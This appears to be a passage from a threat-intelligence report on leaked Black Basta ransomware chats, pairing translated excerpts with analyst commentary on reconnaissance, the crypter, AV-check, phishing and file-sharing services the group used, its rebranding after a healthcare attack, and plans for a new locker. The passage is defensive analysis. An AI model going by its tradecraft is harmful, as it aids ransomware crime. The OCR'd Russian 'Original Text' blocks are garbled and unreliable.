tools and methodologies tailored to the specific
nuances of domain controller operations. Through
this comprehensive analysis, the technical specialist
sought to pinpoint and rectify any underlying issues
affecting the stability and performance of the domain
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2024-02-21 23:54:28,
@usernamenn:matrix.bestflowers247.online, | sent it
to him and the guy calmed down

controller, thereby ensuring the seamless operation of
the network environment.

2024-02-21 23:54:28,
@usernamenn:matrix.bestflowers247.online, s emy
OTMPaBWA Yes yCrnoKOoWCs

Attempt to Automate Reconnaissance Activities with Generative Al

Translated

2024-05-27 16:55:13,
@usernamegg:matrix.bestflowers247.online, here's a
company

2024-05-27 16:55:22,
@usernamegg:matrix.bestflowers247.online, need to
collect contacts from different places + email
2024-05-27 16:55:26,
@usernamegg:matrix.bestflowers247.online, can you?
2024-05-27 16:55:33,
@usernamegg:matrix.bestflowers247.online, for
flooding and calling

2024-05-27 16:55:39,
@usernamegg:matrix.bestflowers247.online, better to
find the dumbest ones

2024-05-27 18:34:17,
@tinker:matrix.bestflowers247.online, hi hi!
2024-05-27 18:34:28,
@tinker:matrix.bestflowers247.online, I'll try
2024-05-27 18:34:35,
@usernamegg:matrix.bestflowers247.online, ++
2024-05-27 18:34:50,
@usernamegg:matrix.bestflowers247.online, I'm
interested what resources do you use?

2024-05-27 18:35:08,
@tinker:matrix.bestflowers247.online, only tomorrow
already)

2024-05-27 18:35:12,
@tinker:matrix.bestflowers247.online, linkedin
2024-05-27 18:35:14,
@tinker:matrix.bestflowers247.online, as main
2024-05-27 18:35:36,
@tinker:matrix.bestflowers247.online, plus all those
email databases | took for spam

2024-05-27 18:35:44,
@tinker:matrix.bestflowers247.online, from other
partners

Original Text

2024-05-27 16:55:13,
@usernamegg:matrix.bestflowers247.online, BoT ecTb
KOMMaHwus

2024-05-27 16:55:22,
@usernamegg:matrix.bestflowers247.online, Hy>xHO
cobpaTb MO HUM KOHTaKTbl C pa3HbIX MecT + email
2024-05-27 16:55:26,
@usernamegg:matrix.bestflowers247.online,
CMOXelLlb?

2024-05-27 16:55:33,
@usernamegg:matrix.bestflowers247.online, ans
dnypa v 3BOHKa

2024-05-27 16:55:39,
@usernamegg:matrix.bestflowers247.online, nyuwe
CMbIX Ayp HaxoAWTb

2024-05-27 18:34:17,
@tinker:matrix.bestflowers247.online, npueet npuaert!
2024-05-27 18:34:28,
@tinker:matrix.bestflowers247.online, nocrapatocb
2024-05-27 18:34:35,
@usernamegg:matrix.bestflowers247.online, ++
2024-05-27 18:34:50,
@usernamegg:matrix.bestflowers247.online, MmHe
WHTPECHO Kakune pecypcbl Tbl MCMOb3yellb?
2024-05-27 18:35:08,
@tinker:matrix.bestflowers247.online, Tonbko 3aBTpa
yxe)

2024-05-27 18:35:12,
@tinker:matrix.bestflowers247.online, nuHkeanH
2024-05-27 18:35:14,
@tinker:matrix.bestflowers247.online, n3 rnasHoro
2024-05-27 18:35:36,
@tinker:matrix.bestflowers247.online, natoc Bce Te
6a3bl NOUTbI KOTOpble bpan Ans cnama

2024-05-27 18:35:44,
@tinker:matrix.bestflowers247.online, c apyrvx
NapTHEPOK
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2024-05-27 18:35:56,
@tinker:matrix.bestflowers247.online, | worked purely
for spam for some time

2024-05-27 18:36:04,
@tinker:matrix.bestflowers247.online, well and then |
check through linkedin

2024-05-27 18:36:16,
@tinker:matrix.bestflowers247.online, with new gpt
this all gets automated

2024-05-27 18:36:21,
@tinker:matrix.bestflowers247.online, through their
open api

2024-05-27 18:48:30,
@usernamegg:matrix.bestflowers247.online, better
would be today

2024-05-27 19:02:16,
@tinker:matrix.bestflowers247.online, I'll start looking

2024-05-27 18:35:56,
@tinker:matrix.bestflowers247.online, 5 >e kakoe-To
BpeMs YNCTO Noj cnam paboTtan

2024-05-27 18:36:04,
@tinker:matrix.bestflowers247.online, Hy 1 ganblue
CBEPAO Yepe3 NNHKEeANH

2024-05-27 18:36:16,
@tinker:matrix.bestflowers247.online, c HoBbI rNT 310
BCE aBTOMaTU3NpPyeTCH

2024-05-27 18:36:21,
@tinker:matrix.bestflowers247.online, uepes nx
OTKPbITbIA anu

2024-05-27 18:48:30,
@usernamegg:matrix.bestflowers247.online, nyuwe
Obl ceroaHs

2024-05-27 19:02:16,
@tinker:matrix.bestflowers247.online, HauHy
CMOTpeTb

These conversations demonstrate generative Al exploitation beyond technical applications, including creating

cover stories for operational mistakes through carefully crafted chat messages. This represents merely the tip of

the iceberg, as Black Basta and numerous other attack groups likely exploit generative Al for malicious activities.
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I 5.7 Abuse of Online Services by Black Basta

The chat logs reveal Black Basta's use of various online services. For example, evidence shows reconnaissance

activities using Censys and Shodan.

Use of Censys

Translated

2023-11-14 11:12:37,
@usernamegg:matrix.bestflowers247.online, what to
find by census and where next?

2023-11-14 11:31:16,
@usernamenn:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> what
happened there with you? they shut down the
establishment without a license? let's not here
2023-11-14 11:31:30,
@usernamegg:matrix.bestflowers247.online, let's
2023-11-14 11:31:45,
@usernamenn:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> what
to find by census and where next? look for VPN
2023-11-14 11:31:55,
@usernamegg:matrix.bestflowers247.online, by what
parameters?

2023-11-14 11:31:56,
@usernamenn:matrix.bestflowers247.online, by IP, by
mask by office

2023-11-14 11:31:57,
@usernamegg:matrix.bestflowers247.online, how to
search?

2023-11-14 11:31:58,
@usernamenn:matrix.bestflowers247.online, google
2023-11-14 11:32:08,
@usernamenn:matrix.bestflowers247.online, google
as last resort

2023-11-14 11:32:14,
@usernamenn:matrix.bestflowers247.online, in
general yes by censys will be easier

2023-11-14 11:32:14,
@usernamegg:matrix.bestflowers247.online, | only
have the domain initially and creds from ova
2023-11-14 11:32:22,
@usernamenn:matrix.bestflowers247.online, so there
are creds and domain

2023-11-14 11:32:28,
@usernamenn:matrix.bestflowers247.online, | was
entering the domain in censys

Original Text

2023-11-14 11:12:37,
@usernamegg:matrix.bestflowers247.online, BoT no
LLEHCYCY YTO HaxoAMTb a KyfAa Aasblue?

2023-11-14 11:31:16,
@usernamenn:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> uto
TaM y 1ebs cayumnocs? 6e3 MLyxXu NpUKpPbLIK
3aBefieHune? faBali He TyT

2023-11-14 11:31:30,
@usernamegg:matrix.bestflowers247.online, gaBai
2023-11-14 11:31:45,
@usernamenn:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> Bot no
LLeHCYCy YTO HaxoAnTb a Kyaa ganblie? nckatb VPN
2023-11-14 11:31:55,
@usernamegg:matrix.bestflowers247.online, no
KakuM napameTpam?

2023-11-14 11:31:56,
@usernamenn:matrix.bestflowers247.online, no IP, no
Macke Mo KOHTope

2023-11-14 11:31:57,
@usernamegg:matrix.bestflowers247.online, kak
nckatb?

2023-11-14 11:31:58,
@usernamenn:matrix.bestflowers247.online, ryrauts
2023-11-14 11:32:08,
@usernamenn:matrix.bestflowers247.online, ryrante B
nact oyepesb

2023-11-14 11:32:14,
@usernamenn:matrix.bestflowers247.online, Bobuie
Za no censys npotye byaet

2023-11-14 11:32:14,
@usernamegg:matrix.bestflowers247.online, y meHs
TOJ/IbKO JOMEH M3HauabHO U Kpeabl OT OBa
2023-11-14 11:32:22,
@usernamenn:matrix.bestflowers247.online, Tak ecTb
Kpesabl U JOMEH

2023-11-14 11:32:28,
@usernamenn:matrix.bestflowers247.online, s B
censys B6b1Ban JOMeH
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2023-11-14 11:32:29,

@usernamegg:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online> in
general yes by censys will be easier well here | see this

yes

Use of Shodan

Translated
2023-10-17 09:28:45,

@usernamegg:matrix.bestflowers247.online,
https://www.securitylab.ru/news/542767.php

2023-10-17 09:30:48,

@usernamevv:matrix.bestflowers247.online,
According to Shodan data, the threat could affect up
to 80,000 network-connected devices.

2023-11-14 11:32:29,
@usernamegg:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online>

Aa

Original Text

2023-10-17 09:28:45,
@usernamegg:matrix.bestflowers247.online,
https://www.securitylab.ru/news/542767.php 2023-

10-17 09:30:48,

BOOLLEe Aa MO censys MpoLLe byaeT Hy BOT BMXY 3TO

@usernamevv:matrix.bestflowers247.online, CornacHo
AaHHbIM Shodan, yrpo3a moxeT 3aTpoHyTb go 80 000
YCTPOWNCTB, NOAKNHOUEHHbIX K CeT.

This section examines select online services deeply connected to attacks and malicious purposes, analyzing their

intended objectives.

Category
Detection evasion /

Malware detection

Main Purpose

Confirming detection of created malware

Services

AVCheck

Scanner[.]Jto

Scanning / Reconnaissance Searching for services with exploitable vulnerabilities Shodan
ZoomEye
Censys
Fofa
Phishing Fraudulently obtaining access rights EvilProxy
Malware encryption Encryption or obfuscation for AV evasion Cryptor[.]biz
File sharing Sharing payload files temp[.Jsh
file[.]Jio

send[.]vis[.]ee

Transfer[.]sh

Sales / Marketing support

Determining ransom payment limits

Zoomlinfo

Black Basta employed encryption and obfuscation services like Cryptor[.]biz to prevent antivirus (AV) product

detection of their malware. These services complicated malware structure to evade detection. Additionally,

services such as AVCheck and Scanner[.]to verified whether major AV products would detect the malware before

deployment.

The group utilized internet-wide search engines including Shodan, ZoomEye, Censys, and Fofa. These tools

enabled efficient discovery of vulnerable public services for target selection and initial access. Internal chats

frequently shared vulnerability information, showing rapid response to newly disclosed remote exploits.

Multiple reports document EvilProxy usage for phishing activities, enabling credential theft while bypassing

multi-factor authentication. This technique proved crucial for obtaining target access rights.
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Temporary file-sharing services like templ.]sh, file[.]io, send[.]vis[.]ee, and transfer[.]sh appeared frequently. These
services' short retention periods facilitated payload and internal information sharing without leaving traces. The
chat logs confirm Black Basta exchanged sensitive data and analysis-resistant information through these
temporary channels.

Zoominfo helped determine target company size, informing maximum ransom demands for file decryption.

Recent law enforcement actions intensified against cybercrime infrastructure. Authorities took down widely used

underground market tools including AVCheck and Cryptor[.]biz. These services played critical roles in the

cybercrime ecosystem. However, similar to patterns observed in botnet cases, these services face the structural
challenge of "shutdown and revival cycles." Criminals establish similar services using new domains and
infrastructure, creating ongoing battles with law enforcement. This cyclical structure represents a persistent
cybersecurity challenge requiring recognition.
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https://www.justice.gov/usao-sdtx/pr/websites-selling-hacking-tools-cybercriminals-seized
https://www.justice.gov/usao-sdtx/pr/websites-selling-hacking-tools-cybercriminals-seized

I 5.8 Exchanges on Technical Discussions

The chat logs contain various technical discussions. This section extracts and analyzes portions of technical

conversations directly related to Black Basta's attack operations.

Discussion of New Ransomware Development Following Rebranding

Translated

2024-05-13 09:55:54,
@usernamegg:matrix.bestflowers247.online, there's a
proposal

2024-05-13 09:56:00,
@usernamegg:matrix.bestflowers247.online, to write
software

2024-05-13 09:56:01,
@usernamegg:matrix.bestflowers247.online, from
scratch

2024-05-13 09:56:04,
@n3auxaxl:matrix.collectionofmanager.space, what
kind?

2024-05-13 09:56:04,
@usernamegg:matrix.bestflowers247.online, cool
2024-05-13 09:56:07,
@usernamegg:matrix.bestflowers247.online, fast
2024-05-13 09:56:22,
@n3auxaxl:matrix.collectionofmanager.space, which
one?

2024-05-13 09:56:26,
@usernamegg:matrix.bestflowers247.online, but only
two people should know about this

2024-05-13 09:56:29,
@usernamegg:matrix.bestflowers247.online, you
2024-05-13 09:56:30,
@usernamegg:matrix.bestflowers247.online, and
2024-05-13 09:56:31,
@usernamegg:matrix.bestflowers247.online, me
2024-05-13 09:56:34,
@usernamegg:matrix.bestflowers247.online, no one
else

2024-05-13 09:56:38,
@usernamegg:matrix.bestflowers247.online, can't tell
anyone

2024-05-13 09:56:42,
@n3auxaxl:matrix.collectionofmanager.space, yes, of
course

[omitted]

2024-05-13 10:06:13,
@usernamegg:matrix.bestflowers247.online, but |

Original Text

2024-05-13 09:55:54,
@usernamegg:matrix.bestflowers247.online, ectb
npeasoxeHve

2024-05-13 09:56:00,
@usernamegg:matrix.bestflowers247.online, Hanncatb
cooT

2024-05-13 09:56:01,
@usernamegg:matrix.bestflowers247.online, ¢ Hyns
2024-05-13 09:56:04,
@n3auxaxl:matrix.collectionofmanager.space, kakoe?
2024-05-13 09:56:04,
@usernamegg:matrix.bestflowers247.online,
KNaCCHbIV

2024-05-13 09:56:07,
@usernamegg:matrix.bestflowers247.online, 6bicTpbii
2024-05-13 09:56:22,
@n3auxaxl:matrix.collectionofmanager.space, kakow?
2024-05-13 09:56:26,
@usernamegg:matrix.bestflowers247.online, Ho
TOJIbKO ZiBa CE/I0BEKA AOKHbI 3HaTb 06 3TOM
2024-05-13 09:56:29,
@usernamegg:matrix.bestflowers247.online, Tbl
2024-05-13 09:56:30,
@usernamegg:matrix.bestflowers247.online, n
2024-05-13 09:56:31,
@usernamegg:matrix.bestflowers247.online, s
2024-05-13 09:56:34,
@usernamegg:matrix.bestflowers247.online, Hn kTO
6onbLue

2024-05-13 09:56:38,
@usernamegg:matrix.bestflowers247.online, Hukomy
rOBPUTb Hesb3s

2024-05-13 09:56:42,
@n3auxaxl:matrix.collectionofmanager.space, aa,
KOHEYHO

[omitted]

2024-05-13 10:06:13,
@usernamegg:matrix.bestflowers247.online, Ho 5
MOHMMALO YTO EC/IN Mbl C HUM Celvac caenaem
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understand that if we do rebranding with him now
they'll immediately analyze us and say it's Black Basta
[omitted]

2024-05-13 10:06:45,
@n3auxaxl:matrix.collectionofmanager.space, yes,
they'll understand very easily

pebpeHAVHT OHW cpa3y Hac pa3bepyT 1 CKaxyT YTo
370 Black Basta

[omitted]

2024-05-13 10:06:45,
@n3auxaxl:matrix.collectionofmanager.space, aa,
Nerko o4YeHb NonNmyT

This conversation occurred while exploring rebranding options after an attack on a large healthcare network

drew unintended public attention, complicating operations. The discussion about developing new ransomware

shows intent to sever connections with Black Basta, with information restricted to specific individuals.

Aftermath of a Ransomware Attack on a Large Healthcare Network

Translated

2024-05-13 10:12:38,
@usernamegg:matrix.bestflowers247.online, | already
squeezed everything | could from basta

2024-05-13 10:13:03,
@usernamegg:matrix.bestflowers247.online, we
deployed until weekend accidentally hit medical
healthcare

2024-05-13 10:13:10,
@usernamegg:matrix.bestflowers247.online, there will
be a fucking investigation now

[omitted]

2024-05-13 10:14:37,
@usernamegg:matrix.bestflowers247.online, so | now
held a meeting in the office

2024-05-13 10:14:43,
@usernamegg:matrix.bestflowers247.online, said that
we're changing everything

2024-05-13 10:14:45,
@usernamegg:matrix.bestflowers247.online, sim cards
2024-05-13 10:14:46,
@usernamegg:matrix.bestflowers247.online, vps
2024-05-13 10:14:48,
@usernamegg:matrix.bestflowers247.online, vpns
2024-05-13 10:14:52,
@usernamegg:matrix.bestflowers247.online, all
servers for work

2024-05-13 10:15:14,
@n3auxaxl:matrix.collectionofmanager.space, | just
changed everything yesterday

2024-05-13 10:15:18,
@usernamegg:matrix.bestflowers247.online, but for
now we temporarily deploy basta, I'll take a
programmer remotely and he'll write us new software

Original Text

2024-05-13 10:12:38,
@usernamegg:matrix.bestflowers247.online, s y>e ¢
6acTbl BbIXa BCe UTO CMOT

2024-05-13 10:13:03,
@usernamegg:matrix.bestflowers247.online, Mbl
MOCTaBWN [J0 BbIXOAHbIX MeJ, Cly4alnHOo 3aLenuam
3paBOXpaHeHue

2024-05-13 10:13:10,
@usernamegg:matrix.bestflowers247.online, Tam
byzeT nusgel, pasbop cervac

[omitted]

2024-05-13 10:14:37,
@usernamegg:matrix.bestflowers247.online, no atomy
A cervac nposesn cobpaHue B oduce

2024-05-13 10:14:43,
@usernamegg:matrix.bestflowers247.online, ckazan
YTO Mbl BCE MEHSIEM

2024-05-13 10:14:45,
@usernamegg:matrix.bestflowers247.online, cmkm
2024-05-13 10:14:46,
@usernamegg:matrix.bestflowers247.online, Bncku
2024-05-13 10:14:48,
@usernamegg:matrix.bestflowers247.online, BnHbI
2024-05-13 10:14:52,
@usernamegg:matrix.bestflowers247.online, cepsepa
BCe A1 paboTbl

2024-05-13 10:15:14,
@n3auxaxl:matrix.collectionofmanager.space, s kak
pa3 BYepa BCe MNOMEHSN

2024-05-13 10:15:18,
@usernamegg:matrix.bestflowers247.online, Ho noka
BPEMEHHO CTaBWM 6acToit , 8 BO3bMy nporepa Ha
yAaneHke v byaeT nncaTb HaM HOBbIN COPT
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2024-05-13 10:15:23,
@usernamegg:matrix.bestflowers247.online, yy walks
around sad

2024-05-13 10:15:29,
@usernamegg:matrix.bestflowers247.online, but he
kind of understands

2024-05-13 10:15:33,
@usernamegg:matrix.bestflowers247.online, why it's
like this

2024-05-13 10:15:35,
@n3auxaxl:matrix.collectionofmanager.space, stop
pika for now?

2024-05-13 10:15:50,
@usernamegg:matrix.bestflowers247.online, you'll
write a locker in less than a month 1000%%%
2024-05-13 10:16:19,
@usernamegg:matrix.bestflowers247.online, + admin
panel + blog + chat for victims

2024-05-13 10:16:20,
@n3auxaxl:matrix.collectionofmanager.space, the
locker itself yes, that's easy

2024-05-13 10:16:23,
@usernamegg:matrix.bestflowers247.online, this is all
very fast too

2024-05-13 10:16:25,
@n3auxaxl:matrix.collectionofmanager.space, here it's
specifically the panel

2024-05-13 10:16:27,
@n3auxaxl:matrix.collectionofmanager.space, chats
and all that

2024-05-13 10:16:29,
@n3auxaxl:matrix.collectionofmanager.space, need to
make it very good

2024-05-13 10:16:30,
@usernamegg:matrix.bestflowers247.online, and
separately + builder

2024-05-13 10:16:39,
@n3auxaxl:matrix.collectionofmanager.space, yes,
builder is generally easy

2024-05-13 10:16:46,
@n3auxaxl:matrix.collectionofmanager.space, |
already have a prototype builder for all that stuff

2024-05-13 10:15:23,
@usernamegg:matrix.bestflowers247.online, yy
TPYCTHbIV XOAMT

2024-05-13 10:15:29,
@usernamegg:matrix.bestflowers247.online, Ho kak
6bl OH NOHUMaeT

2024-05-13 10:15:33,
@usernamegg:matrix.bestflowers247.online, nouemy
Tak

2024-05-13 10:15:35,
@n3auxaxl:matrix.collectionofmanager.space, nuky
NoKa OCTaHOBUTL?

2024-05-13 10:15:50,
@usernamegg:matrix.bestflowers247.online, Tbl nokep
Hanuwelb MeHbLUe YeMm 3a Mecay, 1000%%%
2024-05-13 10:16:19,
@usernamegg:matrix.bestflowers247.online, +
aAMUHKa + 67101 + yaT ANis XXepTB

2024-05-13 10:16:20,
@n3auxaxl:matrix.collectionofmanager.space, cam
NOKep Aa, 3TO Nerko

2024-05-13 10:16:23,
@usernamegg:matrix.bestflowers247.online, 3to ToXxe
BCE ObICTPO OYeHb

2024-05-13 10:16:25,
@n3auxaxl:matrix.collectionofmanager.space, Tyt
MMEHHO naHenb

2024-05-13 10:16:27,
@n3auxaxl:matrix.collectionofmanager.space, yatbl 1
BCe Takoe

2024-05-13 10:16:29,
@n3auxaxl:matrix.collectionofmanager.space, Hago
XOPOLLUO OYeHb cAenaTb

2024-05-13 10:16:30,
@usernamegg:matrix.bestflowers247.online, n
OTAEeNbHO + Bunaep

2024-05-13 10:16:39,
@n3auxaxl:matrix.collectionofmanager.space, ga,
6unaep BoobLLe nerko

2024-05-13 10:16:46,
@n3auxaxl:matrix.collectionofmanager.space, y meHs
eCTb y>Ke nNpoToTMn bungepa ANa BCErO Takoro

Following the large healthcare network attack, Black Basta attracted more attention than anticipated, prompting

efforts to renew all technical infrastructure including the ransomware itself.
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New Ransomware Prototype

Translated

2024-05-13 11:46:03,
@usernamegg:matrix.bestflowers247.onlineg, this is
what the file set looks like

2024-05-13 11:46:34,
@usernamegg:matrix.bestflowers247.online, >
<@n3auxaxl:matrix.collectionofmanager.space>
throwing all forces into the new creation yes, believe
me it's worth it.

2024-05-13 11:46:57,
@usernamegg:matrix.bestflowers247.online, And the
software will be very handy, since no one trusts
lockbit anymore

2024-05-13 11:47:10,
@usernamegg:matrix.bestflowers247.online, They
come to me every day and ask for software
2024-05-13 11:47:12,
@usernamegg:matrix.bestflowers247.online, | don't
give it

[omitted]

2024-05-13 13:20:49,
@n3auxaxl:matrix.collectionofmanager.space, Each
system will be completely decentralized, so that
even if they lock the chat, everything else will work
2024-05-13 13:21:09,
@n3auxaxl:matrix.collectionofmanager.space, if they
lock the admin panel, everything else will work
2024-05-13 13:21:17,
@n3auxaxl:matrix.collectionofmanager.space, there
will be complete decomposition

2024-05-13 13:21:24,
@n3auxaxl:matrix.collectionofmanager.space, |
thought through the architecture +-

2024-05-13 13:21:35,
@n3auxaxl:matrix.collectionofmanager.space, |
already have a builder prototype, it's quick to make
2024-05-13 13:21:40,
@n3auxaxl:matrix.collectionofmanager.space,
literally a couple of days to debug everything
2024-05-13 13:22:14,
@n3auxaxl:matrix.collectionofmanager.space, source
code for everything will only be with you and me
2024-05-13 13:22:36,
@n3auxaxl:matrix.collectionofmanager.space, locker
will be written in pure C, only C and ASM, nothing
else, so everything works very fast

Original Text

2024-05-13 11:46:03,
@usernamegg:matrix.bestflowers247.online, BoT Tak
BbIFAANT KOMMAEKT dpannos

2024-05-13 11:46:34,
@usernamegg:matrix.bestflowers247.online, >
<@n3auxaxl:matrix.collectionofmanager.space> Bce
CUNbI KNAAK Ha HOBOE AeTulle Aa, NOBEPb OHO TOro
cTOoMUT.

2024-05-13 11:46:57,
@usernamegg:matrix.bestflowers247.online, I copt
ewle ByaeT oueHb KCTaTH, Tak Kak NOKOUTY yxKe HUKTO
He fjoBepsaeT

2024-05-13 11:47:10,
@usernamegg:matrix.bestflowers247.online, Ko mHe
NOMATCA KaXAblN feHb N NPOCAT COPT

2024-05-13 11:47:12,
@usernamegg:matrix.bestflowers247.online, s He gato
[omitted]

2024-05-13 13:20:49,
@n3auxaxl:matrix.collectionofmanager.space, Kaxzas
cnctema ByaeT NONMHOCTBIO AeLMHTPaNN3MPOBaHOMN,
yTOObI Aaxe ecNn NOKHYT YaT, BCe OCTanbHOe byaeT
paboTaTtb

2024-05-13 13:21:09,
@n3auxaxl:matrix.collectionofmanager.space, ecau
NOKHYT aMAMHKY, BCe OCTasibHOe byaeT paboTaTtb
2024-05-13 13:21:17,
@n3auxaxl:matrix.collectionofmanager.space, nonHas
aekomnosuuus byaet

2024-05-13 13:21:24,
@n3auxaxl:matrix.collectionofmanager.space, no
apxuTekType Bce NpoayMan +-

2024-05-13 13:21:35,
@n3auxaxl:matrix.collectionofmanager.space, bungep
NPOTOTUM YXe eCTb Y MeHs, ero BbICTpO caenatb
2024-05-13 13:21:40,
@n3auxaxl:matrix.collectionofmanager.space,
6yKBasbHO Mapy AHel, UTobbl BCe OTNaANTb
2024-05-13 13:22:14,
@n3auxaxl:matrix.collectionofmanager.space,
NCXOAHWKMN BCEro ByayT TONbKO y Tebs 1y MeHs
2024-05-13 13:22:36,
@n3auxaxl:matrix.collectionofmanager.space, nokep
ByaeTt HanucaH Ha unctom C, Tonbko C 1 ASM, 6onblue
HWYero, UTobbl PaboTaNo BCE OUEHb BLICTPO
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[omitted]

2024-05-13 13:26:43,
@n3auxaxl:matrix.collectionofmanager.space, 2
months will be enough for us to debug everything
to perfection

2024-05-13 13:26:50,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online>
builder can be not tor no, this is very important
2024-05-13 13:26:53,
@n3auxaxl:matrix.collectionofmanager.space, better
let it be in tor

2024-05-13 13:27:04,
@usernamegg:matrix.bestflowers247.online, ok
2024-05-13 13:27:27,
@usernamegg:matrix.bestflowers247.online, we'll
take an encrypted server anyway

2024-05-13 13:27:28,
@n3auxaxl:matrix.collectionofmanager.space, in
September we'll already be making first locks
2024-05-13 13:27:47,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online> we'll
take an encrypted server anyway yes, but need to
put bus there and kill lux immediately everything
2024-05-13 13:27:52,
@n3auxaxl:matrix.collectionofmanager.space, by
containers

2024-05-13 13:28:05,
@n3auxaxl:matrix.collectionofmanager.space, so that
if some trouble and they get to the server
2024-05-13 13:28:10,
@n3auxaxl:matrix.collectionofmanager.space, so
they can't decrypt it

2024-05-13 13:29:18,
@n3auxaxl:matrix.collectionofmanager.space, in
early June I'll already be setting all this up on test
servers

[omitted]

2024-05-13 13:41:28,
@usernamegg:matrix.bestflowers247.online, * we'll
write the best locker with my experience of
Villainy )))

2024-05-13 13:41:58,
@usernamegg:matrix.bestflowers247.online, and
with your programming experience

[omitted]

2024-05-13 13:26:43,
@n3auxaxl:matrix.collectionofmanager.space, 2 mecsua
HaM XBaTWT, 4TOObI OTNAAMTbL BCE A0 MAeana
2024-05-13 13:26:50,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online> 6unaep
MO>HO He TOp HET, 3TO OYeHb BaXHO

2024-05-13 13:26:53,
@n3auxaxl:matrix.collectionofmanager.space, nyuwe
nycTb B TOpe byaer

2024-05-13 13:27:04,
@usernamegg:matrix.bestflowers247.online, ok
2024-05-13 13:27:27,
@usernamegg:matrix.bestflowers247.online, cepsep
BCE PaBHO BO3bMeM LINPPOBaHHbI

2024-05-13 13:27:28,
@n3auxaxl:matrix.collectionofmanager.space, B
ceHTABpe nepBble IOKK yxXe byaemM Aenatb
2024-05-13 13:27:47,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online> cepsep
BCE pPaBHO BO3bMeM LUMPPOBaHHBIN Aa, HO TyAa Hajo
nocTtasuTb bus u lux yebaTtb cpa3sy Bce

2024-05-13 13:27:52,
@n3auxaxl:matrix.collectionofmanager.space, no
KOHTEHepam

2024-05-13 13:28:05,
@n3auxaxl:matrix.collectionofmanager.space, uto6bbl
€C/INT KakoW TO KMMuLb 1 2obepyTbca A0 cepBaka
2024-05-13 13:28:10,
@n3auxaxl:matrix.collectionofmanager.space, utobbl
He MOr/u ero pacwmndpoBaTb

2024-05-13 13:29:18,
@n3auxaxl:matrix.collectionofmanager.space, B Hauane
MIOHA A y>ke Byay 3TO BCe HacTpamBaTb Ha TECTOBbIX
cepBakax

[omitted]

2024-05-13 13:41:28,
@usernamegg:matrix.bestflowers247.online, *
HanvLWeM caMbli yYLLIWIA NOKEP C MOMM TO OMbITOM
3noaencrtea )))

2024-05-13 13:41:58,
@usernamegg:matrix.bestflowers247.online, n c TBOMM
OMbITOM NPOrpaMMmnpOBaHue

2024-05-13 13:42:14,
@usernamegg:matrix.bestflowers247.online, ectb naeu
KakK MOXHO ero npornvaputb Ha Havane
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2024-05-13 13:42:14, 2024-05-13 13:42:19,

@usernamegg:matrix.bestflowers247.online, there @usernamegg:matrix.bestflowers247.online, uto 6bI
are ideas how to promote it at the beginning BCE YC/IbILWaAn Npo Hero

2024-05-13 13:42:19, 2024-05-13 13:42:25,
@usernamegg:matrix.bestflowers247.online, so @usernamegg:matrix.bestflowers247.online, n
everyone hears about it MOHWMaN KTO Mbl U YTO Mbl

2024-05-13 13:42:25, 2024-05-13 13:42:39,
@usernamegg:matrix.bestflowers247.online, and @usernamegg:matrix.bestflowers247.online, B nepsyto
understands who we are and what we are Hezeso byaeT y>ke 0630p CEHTMKA Y TPEHMUKPO Ha
2024-05-13 13:42:39, Hero

@usernamegg:matrix.bestflowers247.online, in the 2024-05-13 13:42:51,

first week there will already be a review from sentik @usernamegg:matrix.bestflowers247.online, n 310
and trendmicro on it aetuile ByaeT 3HaTb BECb MUP

2024-05-13 13:42:51,

@usernamegg:matrix.bestflowers247.online, and the

whole world will know this creation

The discussion covers a new ransomware prototype. The schedule indicates extremely rapid deployment

capabilities for the new ransomware. Marketing strategies already exist at this stage, revealing plans for high-
profile promotion of the new ransomware.
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Conversation on Fees for Malware Loaders

Translated

2023-09-20 18:04:14,
@usernameugway:matrix.bestflowers247.online, I'l
request his wallet and a discount

2023-09-20 18:04:23,
@usernameugway:matrix.bestflowers247.online, he
gave it last time

2023-09-20 18:04:26,
@usernameugway:matrix.bestflowers247.online,
without discount it was 15k

[omitted]

2023-09-21 17:49:32,
@usernameugway:matrix.bestflowers247.online,
Rastafarian, [20.09.2023 19:11] For permanent clients,
now | can give you a 10% discount. Can you pay by
XMR? Rastafarian, [20.09.2023 19:12] 91 XMR
Rastafarian, [20.09.2023 19:12] <Masked:
Cryptocurrency Wallet>

2023-09-21 17:49:47,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online>
Rastafarian, [20.09.2023 19:12] > 91 XMR > >
Rastafarian, [20.09.2023 19:12] > <Masked:
Cryptocurrency Wallet>
https://xmrchain.net/tx/6061f3f1c1aaf738fe59b4b3c9
2f31adb424c0941612a4e35bb636baccf09979
2023-09-21 17:50:48,
@usernameugway:matrix.bestflowers247.online,
super+++

2023-09-21 17:50:52,
@usernameugway:matrix.bestflowers247.online, I'l
write when he accepts

[omitted]

2023-09-21 21:20:24,
@usernamegg:matrix.bestflowers247.online, Rastafari
100% steals bots, | had a serious talk with him here.
2023-09-21 21:20:56,
@usernamegg:matrix.bestflowers247.online, He also
works in ransom and now he came up with all this
rental of this fucking awesome loader because he ran
out of resources for mining his own targets
[omitted]

2023-10-04 13:09:49,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online>

Original Text

2023-09-20 18:04:14,
@usernameugway:matrix.bestflowers247.online, s
3anpoLuy KOLUenek y Hero 1 CKuaky

2023-09-20 18:04:23,
@usernameugway:matrix.bestflowers247.online, oH B
npoLwbIN pa3 AaBan

2023-09-20 18:04:26,
@usernameugway:matrix.bestflowers247.online, 6e3
ckmakm 6b1o 15k

[omitted]

2023-09-21 17:49:32,
@usernameugway:matrix.bestflowers247.online,
Pactadapan, [20.09.2023 19:11] Ans NOCTOAHHbIX
KAMeHT, ceryac Tebe mory caenatb cknaky Ha 10%. Tol
cmoxelb onnatnte o XMR? Pactadapai,
[20.09.2023 19:12] 91 XMR Pacradapai, [20.09.2023
19:12] <Masked: Cryptocurrency Wallet>

2023-09-21 17:49:47,
@usernamegg:matrix.bestflowers247.online, >
